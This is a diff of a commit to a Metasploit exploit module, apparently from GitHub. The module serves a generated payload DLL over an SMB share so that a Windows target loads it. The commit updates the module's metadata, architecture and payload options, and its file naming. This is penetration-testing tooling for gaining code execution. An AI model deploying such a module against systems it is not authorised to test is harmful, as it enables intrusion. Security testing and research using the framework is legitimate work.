|
1 | 1 | ## |
2 | | -# This module requires Metasploit: http//metasploit.com/download |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
3 | 3 | # Current source: https://github.com/rapid7/metasploit-framework |
4 | 4 | ## |
5 | 5 |
|
6 | | -# This is an example implementation of using the |
7 | | -# Msf::Exploit::Remote::SMBFileServer module |
8 | | -# to serve an arbitrary DLL over SMB |
9 | | - |
10 | 6 | require 'msf/core' |
11 | 7 |
|
12 | 8 | class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ManualRanking |
| 10 | + |
13 | 11 | include Msf::Exploit::Remote::SMB::Server::Share |
14 | 12 | include Msf::Exploit::EXE |
15 | 13 |
|
16 | 14 | def initialize(info={}) |
17 | 15 | super(update_info(info, |
18 | | - 'Name' => 'SMB DLL Server', |
| 16 | + 'Name' => 'Generic DLL Injection From Shared Resource', |
19 | 17 | 'Description' => %q{ |
20 | 18 | This is an example implementation of using the SMBFileServer module |
21 | 19 | to serve an arbitrary DLL over SMB. |
22 | 20 | This module will sit around waiting for a DLL to be loaded, |
23 | 21 | for instance by the "payload/windows/loadlibrary" module. |
24 | 22 | }, |
25 | | - 'Author' => [ |
26 | | - 'Matthew Hall <[email protected]>', |
27 | | - ], |
28 | | - 'DisclosureDate' => 'Mar 05 2014', |
29 | | - 'Platform' => 'win', |
30 | | - 'Privileged' => true, |
31 | | - 'Arch' => ARCH_X86, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Matthew Hall <hallm[at]sec-1.com>' |
| 26 | + ], |
32 | 27 | 'References' => |
33 | 28 | [ |
34 | | - [ 'URL', 'http://www.sec-1.com/blog/'], |
| 29 | + ['CWE', '114'] |
35 | 30 | ], |
36 | 31 | 'DefaultOptions' => |
37 | 32 | { |
38 | 33 | 'EXITFUNC' => 'thread', |
39 | 34 | }, |
40 | | - 'Privileged' => true, |
41 | | - 'Platform' => [ 'win'], |
| 35 | + 'Privileged' => false, |
| 36 | + 'Platform' => 'win', |
| 37 | + 'Arch' => [ARCH_X86, ARCH_X86_64], |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'Space' => 2048, |
| 41 | + 'DisableNops' => true |
| 42 | + }, |
42 | 43 | 'Targets' => |
43 | 44 | [ |
44 | 45 | [ 'Windows x86', { 'Arch' => ARCH_X86 } ], |
45 | 46 | [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] |
46 | 47 | ], |
47 | | - 'DefaultTarget' => 0, # Default target is 32-bit |
48 | | - )) |
49 | | - register_options( |
50 | | - [ |
51 | | - OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll']) |
52 | | - ], self.class) |
53 | | - deregister_options('FILE_CONTENTS') |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'DisclosureDate' => 'Mar 04 2015' |
| 50 | + )) |
| 51 | + |
| 52 | + register_options( |
| 53 | + [ |
| 54 | + OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)']) |
| 55 | + ], self.class) |
| 56 | + |
| 57 | + deregister_options('FILE_CONTENTS') |
54 | 58 | end |
55 | 59 |
|
56 | | - def primer |
| 60 | + def setup |
| 61 | + super |
| 62 | + |
57 | 63 | self.file_contents = generate_payload_dll |
| 64 | + self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll" |
58 | 65 | print_status("File available on #{unc}...") |
59 | 66 | end |
60 | 67 |
|
|
0 commit comments